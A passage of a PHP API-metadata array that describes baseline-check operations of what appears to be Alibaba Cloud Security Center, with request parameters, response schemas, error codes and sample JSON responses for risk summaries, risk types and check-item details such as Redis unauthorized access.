'Indicates whether the risk item can be exploited. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'false', ], 'DatabaseRisk' => [ 'description' => 'Indicates whether the risk item is a database risk item. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no', 'type' => 'boolean', 'example' => 'false', ], 'ContainerRisk' => [ 'description' => 'Indicates whether the risk item is a container runtime risk item. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no', 'type' => 'boolean', 'example' => 'false', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"RequestId\\": \\"00BD7CE2-284A-4534-BD09-FB69836DD750\\",\\n \\"TotalCount\\": 100,\\n \\"Count\\": 10,\\n \\"WarningSummarys\\": [\\n {\\n \\"LowWarningCount\\": 3,\\n \\"CheckCount\\": 10,\\n \\"MediumWarningCount\\": 2,\\n \\"LastFoundTime\\": \\"2019-01-01 12:23:00\\",\\n \\"RiskId\\": 118,\\n \\"SubTypeAlias\\": \\"Redis\\",\\n \\"WarningMachineCount\\": 11,\\n \\"HighWarningCount\\": 1,\\n \\"TypeAlias\\": \\"databases\\",\\n \\"RiskName\\": \\"Redis\\",\\n \\"Level\\": \\"high\\",\\n \\"CheckExploit\\": false,\\n \\"DatabaseRisk\\": false,\\n \\"ContainerRisk\\": false\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCheckWarningSummary', ], 'DescribeRiskType' => [ 'summary' => 'Queries baseline types.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92179', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.X.X', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. Valid values:'."\n" ."\n" .'* **default**: host baseline'."\n" .'* **agentless**: agentless baseline'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F22037B5-FCE4-5178-A9E7-71798E1F9270', ], 'RiskTypes' => [ 'description' => 'An array that consists of the information about baseline types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the baseline type.'."\n", 'type' => 'object', 'properties' => [ 'TypeName' => [ 'description' => 'The name of the baseline type.'."\n", 'type' => 'string', 'example' => 'hc_exploit', ], 'Alias' => [ 'description' => 'The alias of the baseline type.'."\n", 'type' => 'string', 'example' => 'Redis unauthorized access high exploit vulnerability risk', ], 'SubTypes' => [ 'description' => 'An array that consists of the information about baseline subtypes.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'TypeName' => [ 'description' => 'The name of the baseline subtype.'."\n", 'type' => 'string', 'example' => 'hc_exploit_redis', ], 'Alias' => [ 'description' => 'The alias of the baseline subtype.'."\n", 'type' => 'string', 'example' => 'Redis unauthorized access high exploit vulnerability risk', ], 'CheckDetails' => [ 'description' => 'An array that consists of the check details about the baseline subtype.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'The ID of the baseline.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1299', ], 'CheckItem' => [ 'description' => 'The baseline.'."\n", 'type' => 'string', 'example' => 'Ensure password expiration period is set.', ], 'CheckDesc' => [ 'description' => 'The description of the baseline.'."\n", 'type' => 'string', 'example' => 'Set password expiration time, force regular modification of password, reduce password leakage and guess risk.Use non-password login (e.g. key pair) please ignore this item.', ], 'Rules' => [ 'description' => 'An array that consists of the rule details about the baseline.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Optional' => [ 'description' => 'Indicates whether the baseline can be edited. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RuleDesc' => [ 'description' => 'The description of the rule for the baseline.'."\n", 'type' => 'string', 'example' => 'Please customize the password expiration time detection standard as', ], 'RuleId' => [ 'description' => 'The ID of the rule for the baseline.'."\n", 'type' => 'string', 'example' => 'audit.audit_policy.auditpolicychange.cus', ], 'ParamList' => [ 'description' => 'An array that consists of the parameters in the rule for the baseline.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ParamDefaultValue' => [ 'description' => 'The default value of the parameter.'."\n", 'type' => 'string', 'example' => '7', ], 'ParamName' => [ 'description' => 'The name of the parameter.'."\n", 'type' => 'string', 'example' => 'range_val', ], 'MaxValue' => [ 'description' => 'The maximum value of the parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '999', ], 'ParamType' => [ 'description' => 'The configuration type of the parameter. Valid values:'."\n" ."\n" .'* **1**: input'."\n" .'* **2**: selection'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ParamDesc' => [ 'description' => 'The description of the parameter.'."\n", 'type' => 'string', 'example' => 'The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure', ], 'MinValue' => [ 'description' => 'The minimum value of the parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'EnumValue' => [ 'description' => 'If the value of paramType is 1, this parameter is empty. If the value of paramType is 2, this parameter provides the options that can be selected for paramType.'."\n", 'type' => 'string', 'example' => '0,1,2,3', ], ], ], ], ], ], ], ], ], ], 'SupportedOs' => [ 'description' => 'The operating system type of the server. Valid values:'."\n" ."\n" .'- **windows**'."\n" .'- **linux**', 'type' => 'string', 'enumValueTitles' => [], 'example' => 'linux', ], 'AuthFlag' => [ 'description' => 'The baseline subtype permission flag of the current user version. Valid values:'."\n" ."\n" .'- **true**: Have access'."\n" .'- **false**: No permissions', 'type' => 'boolean', 'enumValueTitles' => [], 'example' => 'true', ], ], ], ], 'AuthFlag' => [ 'description' => 'The baseline type flag of the current user version. Valid values:'."\n" ."\n" .'- **true**: Have access'."\n" .'- **false**: No permissions', 'type' => 'boolean', 'enumValueTitles' => [], 'example' => 'true', ], ], ], ], ], 'description' => 'The returned data.', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => '-100', 'errorMessage' => 'The service is unavailable, please try again later.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F22037B5-FCE4-5178-A9E7-71798E1F9270\\",\\n \\"RiskTypes\\": [\\n {\\n \\"TypeName\\": \\"hc_exploit\\",\\n \\"Alias\\": \\"Redis unauthorized access high exploit vulnerability risk\\",\\n \\"SubTypes\\": [\\n {\\n \\"TypeName\\": \\"hc_exploit_redis\\",\\n \\"Alias\\": \\"Redis unauthorized access high exploit vulnerability risk\\",\\n \\"CheckDetails\\": [\\n {\\n \\"CheckId\\": 1299,\\n \\"CheckItem\\": \\"Ensure password expiration period is set.\\",\\n \\"CheckDesc\\": \\"Set password expiration time, force regular modification of password, reduce password leakage and guess risk.Use non-password login (e.g. key pair) please ignore this item.\\",\\n \\"Rules\\": [\\n {\\n \\"Optional\\": 1,\\n \\"RuleDesc\\": \\"Please customize the password expiration time detection standard as\\",\\n \\"RuleId\\": \\"audit.audit_policy.auditpolicychange.cus\\",\\n \\"ParamList\\": [\\n {\\n \\"ParamDefaultValue\\": \\"7\\",\\n \\"ParamName\\": \\"range_val\\",\\n \\"MaxValue\\": 999,\\n \\"ParamType\\": 1,\\n \\"ParamDesc\\": \\"The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure\\",\\n \\"MinValue\\": 1,\\n \\"EnumValue\\": \\"0,1,2,3\\"\\n }\\n ]\\n }\\n ]\\n }\\n ],\\n \\"SupportedOs\\": \\"linux\\",\\n \\"AuthFlag\\": true\\n }\\n ],\\n \\"AuthFlag\\": true\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeRiskType', ], 'DescribeCheckWarnings' => [ 'summary' => 'Queries information about specified risk items and the check items of a specified server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server on which the baseline check is performed.'."\n" ."\n" .'> To query specified risk items and the check items of a specified server, you must provide the ID of the server on which the baseline check is performed. You can call the [DescribeWarningMachines](~~DescribeWarningMachines~~) operation to query the IDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => 'd42f938c-d962-48a0-90f9-05****', ], ], [ 'name' => 'RiskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the risk item. This parameter is required.'."\n" ."\n" .'> To query the information about the risk items and check items of a server, you must specify the IDs of the risk items. You can call the [DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~) operation to query the IDs of risk items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '10354', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2546', ], ], [ 'name' => 'CheckType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the check item. Valid values:'."\n" ."\n" .'* **hc.check.type.identity_auth**: identity authentication'."\n" .'* **hc.check.type.access_control**: access control'."\n" .'* **hc.check.type.network_service**: network and service'."\n" .'* **hc.check.type.service_conf**: service configuration'."\n" .'* **hc.check.type.file_rights**: file permission'."\n" .'* **hc.check.type.security_audit**: security audit'."\n" .'* **hc.check.type.attack_defense**: intrusion prevention'."\n" .'* **hc.check.type.others**: others'."\n", 'type' => 'string', 'required' => false, 'example' => 'hc.check.type.attack_defense', ], ], [ 'name' => 'RiskStatus', 'in' => 'query', 'schema' => [ 'description' => 'The status of the check item. Valid values:'."\n" ."\n" .'* **1**: failed'."\n" .'* **2**: verifying'."\n" .'* **3**: passed'."\n" .'* **5**: expired'."\n" .'* **6**: ignored'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ContainerName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the container.'."\n", 'type' => 'string', 'required' => false, 'example' => '/redis', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> To obtain the Alibaba Cloud account ID, call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0DFCADBA-7065-42DA-AF17-6868B9C2A8CF', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'CheckWarnings' => [ 'description' => 'The information about the check item.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details about the check item.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the check item. Valid values:'."\n" ."\n" .'* **1**: failed.'."\n" .'* **2**: verifying.'."\n" .'* **3**: passed.'."\n" .'* **5**: expired.'."\n" .'* **6**: ignored.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CheckWarningId' => [ 'description' => 'The ID of the alert that is generated for the baseline check result.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '212251441', ], 'Type' => [ 'description' => 'The type of the check item.'."\n", 'type' => 'string', 'example' => 'hc.check.type.identity_auth', ], 'Uuid' => [ 'description' => 'The ID of the server on which the baseline check is performed.'."\n", 'type' => 'string', 'example' => 'd42f938c-d962-48a0-90f9-****', ], 'ContainerName' => [ 'description' => 'The name of the container.'."\n", 'type' => 'string', 'example' => '/svn-host', ], 'ContainerId' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'example' => '8de456b00ff0a2009ee8ef7fc59fd0457fa44f20b8282af3e79c2a0e2492****', ], 'Item' => [ 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'passwordExpire', ], 'CheckId' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2546', ], 'Level' => [ 'description' => 'The risk level of the risk item. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'high', ], 'Reason' => [ 'description' => 'The description.'."\n", 'type' => 'string', 'example' => 'ignore', ], 'FixStatus' => [ 'description' => 'Indicates whether fixing is supported. Valid values:'."\n" ."\n" .'* **0**: Fixing is not supported.'."\n" .'* **1**: Fixing is supported.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ExecErrorMessage' => [ 'description' => 'The error message in the check result.'."\n", 'type' => 'string', 'example' => 'ScriptKilledOfCpuHigh', ], 'LastHandleTime' => [ 'description' => 'The timestamp of the latest processing of the check item risk of the machine. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1694692471000'."\n", ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"0DFCADBA-7065-42DA-AF17-6868B9C2A8CF\\",\\n \\"TotalCount\\": 100,\\n \\"Count\\": 10,\\n \\"CheckWarnings\\": [\\n {\\n \\"Status\\": 1,\\n \\"CheckWarningId\\": 212251441,\\n \\"Type\\": \\"hc.check.type.identity_auth\\",\\n \\"Uuid\\": \\"d42f938c-d962-48a0-90f9-****\\",\\n \\"ContainerName\\": \\"/svn-host\\",\\n \\"ContainerId\\": \\"8de456b00ff0a2009ee8ef7fc59fd0457fa44f20b8282af3e79c2a0e2492****\\",\\n \\"Item\\": \\"passwordExpire\\",\\n \\"CheckId\\": 2546,\\n \\"Level\\": \\"high\\",\\n \\"Reason\\": \\"ignore\\",\\n \\"FixStatus\\": 0,\\n \\"ExecErrorMessage\\": \\"ScriptKilledOfCpuHigh\\",\\n \\"LastHandleTime\\": 1704937755000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n 20\\n 0DFCADBA-7065-42DA-AF17-6868B9C2A8CF\\n 100\\n 10\\n \\n 1\\n 212251441\\n 身份鉴别\\n d42f938c-d962-48a0-90f9-***********\\n 密码到期警告\\n 2546\\n high\\n \\n","errorExample":""}]', 'title' => 'DescribeCheckWarnings', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeCheckWarningDetail' => [ 'summary' => 'Queries the details about a specified check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '103.25.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CheckWarningId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert triggered by the check item.'."\n" ."\n" .'> To query the details of a check item, you must provide the ID of the alert that is triggered by the check item. You can call the [DescribeCheckWarnings](~~DescribeCheckWarnings~~) operation to query the IDs of alerts.'."\n" ."\n" .'> If the Uuid and CheckId parameters are not specified, this parameter is required.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '98675301', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the IDs of Alibaba Cloud accounts.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n" ."\n" .'> If you specify this parameter, you must also specify the CheckId parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '01aec2da-5b57-4f38-b221-da5a0b2f****', ], ], [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~) operation to query the IDs of check items.'."\n" ."\n" .'> If you specify this parameter, you must also specify the Uuid parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ContainerName', 'in' => 'query', 'schema' => [ 'description' => 'Container name.', 'type' => 'string', 'required' => false, 'example' => 'test_container', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Advice' => [ 'description' => 'The suggestion for the management of the risk item.'."\n", 'type' => 'string', 'example' => 'You can fix it in the following ways:↵1. To configure authentication for redis service, click the redis.conf Configure complex password in requirepass, and then restart redis.↵2. In redis configuration file redis.conf The configuration is as follows: bind 127.0.0.1, only allow local access, and then restart redis', ], 'Type' => [ 'description' => 'The type of the check item. Valid values:'."\n" ."\n" .'* **hc_exploit**: unauthorized access'."\n" .'* **hc_djbh**: classified protection compliance'."\n" .'* **hc_best_secruity**: best security practice'."\n" .'* **hc_container**: container security'."\n" .'* **hc_custom**: custom baseline'."\n" .'* **cis**: Center for Internet Security (CIS) compliance'."\n" .'* **weak_password**: weak password'."\n", 'type' => 'string', 'example' => 'hc_exploit', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], 'Description' => [ 'description' => 'The additional information about the risk item.'."\n", 'type' => 'string', 'example' => 'The redis port is open to the outside world and there is no authentication option configured. In addition to directly obtaining all the information in the database, unauthorized users can also attack the system through unauthorized access vulnerability.', ], 'Item' => [ 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'Redis unauthorized access', ], 'CheckId' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '946', ], 'Level' => [ 'description' => 'The risk level of the check item. Valid values:'."\n" ."\n" .'* **high**: The item is a high-risk item and is highlighted in red.'."\n" .'* **medium**: The item is a medium-risk item and is highlighted in orange.'."\n" .'* **low**: The item is a low-risk item and is highlighted in gray.'."\n", 'type' => 'string', 'example' => 'high', ], 'Prompt' => [ 'description' => 'The prompt for the risk item.'."\n", 'type' => 'string', 'example' => 'weak passwords (username@host/password):root@****/12***', ], 'CheckDetailColumns' => [ 'description' => 'Detection content details.', 'type' => 'array', 'items' => [ 'description' => 'Detection content details.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'Display type. Value:'."\n" .'- **grid**: Detection grid'."\n" .'- **text**: text', 'type' => 'string', 'example' => 'text', ], 'Key' => [ 'description' => 'Key to detect content.', 'type' => 'string', 'example' => 'Containername', ], 'ShowName' => [ 'description' => 'The detection content key corresponds to the display name.', 'type' => 'string', 'example' => 'ContainerName', ], 'Grids' => [ 'description' => 'Detection content list.', 'type' => 'array', 'items' => [ 'description' => 'Content of detection.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'Display type. Value:'."\n" .'- **grid**: Detection grid'."\n" .'- **text**: text', 'type' => 'string', 'example' => 'text', ], 'Key' => [ 'description' => 'Key to detect content.', 'type' => 'string', 'example' => 'Username', ], 'ShowName' => [ 'description' => 'The detection content key corresponds to the display name.', 'type' => 'string', 'example' => 'UserName', ], ], ], ], ], ], ], 'CheckDetailAssetInfo' => [ 'description' => 'List of asset details to check.', 'type' => 'array', 'items' => [ 'description' => 'Checked asset details.', 'type' => 'object', 'additionalProperties' => [ 'type' => 'string', 'description' => 'Checked asset details.', 'example' => '[{"Containerid":"8ee88e****","Containername":"jenkins-birdge","WeakPasswords":[{"Username":"admin","Maskweakpassword":"1qaz****23"}]}]', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Advice\\": \\"You can fix it in the following ways:↵1. To configure authentication for redis service, click the redis.conf Configure complex password in requirepass, and then restart redis.↵2. In redis configuration file redis.conf The configuration is as follows: bind 127.0.0.1, only allow local access, and then restart redis\\",\\n \\"Type\\": \\"Security audit\\",\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"Description\\": \\"The redis port is open to the outside world and there is no authentication option configured. In addition to directly obtaining all the information in the database, unauthorized users can also attack the system through unauthorized access vulnerability.\\",\\n \\"Item\\": \\"Redis unauthorized access\\",\\n \\"CheckId\\": 946,\\n \\"Level\\": \\"high\\",\\n \\"Prompt\\": \\"weak passwords (username@host/password):root@****/12***\\",\\n \\"CheckDetailColumns\\": [\\n {\\n \\"Type\\": \\"text\\",\\n \\"Key\\": \\"Containername\\",\\n \\"ShowName\\": \\"ContainerName\\",\\n \\"Grids\\": [\\n {\\n \\"Type\\": \\"text\\",\\n \\"Key\\": \\"Username\\",\\n \\"ShowName\\": \\"UserName\\"\\n }\\n ]\\n }\\n ],\\n \\"CheckDetailAssetInfo\\": [\\n {\\n \\"key\\": \\"[{\\\\\\"Containerid\\\\\\":\\\\\\"8ee88e****\\\\\\",\\\\\\"Containername\\\\\\":\\\\\\"jenkins-birdge\\\\\\",\\\\\\"WeakPasswords\\\\\\":[{\\\\\\"Username\\\\\\":\\\\\\"admin\\\\\\",\\\\\\"Maskweakpassword\\\\\\":\\\\\\"1qaz****23\\\\\\"}]}]\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCheckWarningDetail', 'translator' => 'machine', ], 'DescribeWarningMachines' => [ 'summary' => 'Queries information about servers on which a baseline check is performed. The information includes the IDs of the servers, the statistics of a risk item, and the status of the risk item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'MachineName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the server on which the baseline check is performed.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oracle-win-001****', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server on which the baseline check is performed. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '9888955c-0076-49da-bd9c-34f5492b****', ], ], [ 'name' => 'RiskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the risk item.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~) operation to query the IDs of risk items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '196', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '16', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: **10**, which indicates that 10 entries of server information are displayed on each page. A maximum of 100 entries can be returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c7e3c5b420a7947c2933303144688****', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the field that is used to search for the container. Valid values:'."\n" ."\n" .'* **CONTAINER_ID**: the ID of the container'."\n" .'* **IMAGE**: the name of the image'."\n" .'* **NAMESPACE**: the namespace'."\n" .'* **NODE_NAME**: the name of the node'."\n" .'* **POD_IP**: the IP address of the pod'."\n" .'* **HOST_IP**: the IP address of the host'."\n" .'* **INSTANCE_ID**: the ID of the instance'."\n", 'type' => 'string', 'required' => false, 'example' => 'containerId', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the field that is used to search for the container.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c8bb3ef0f5ccf45508f0fd1ffc200****', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the query condition. Valid values:'."\n" ."\n" .'* **containerId**: the ID of the container'."\n" .'* **uuid**: the UUID of the asset'."\n", 'type' => 'string', 'required' => false, 'example' => 'uuid', ], ], [ 'name' => 'HaveRisk', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether risks were detected. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 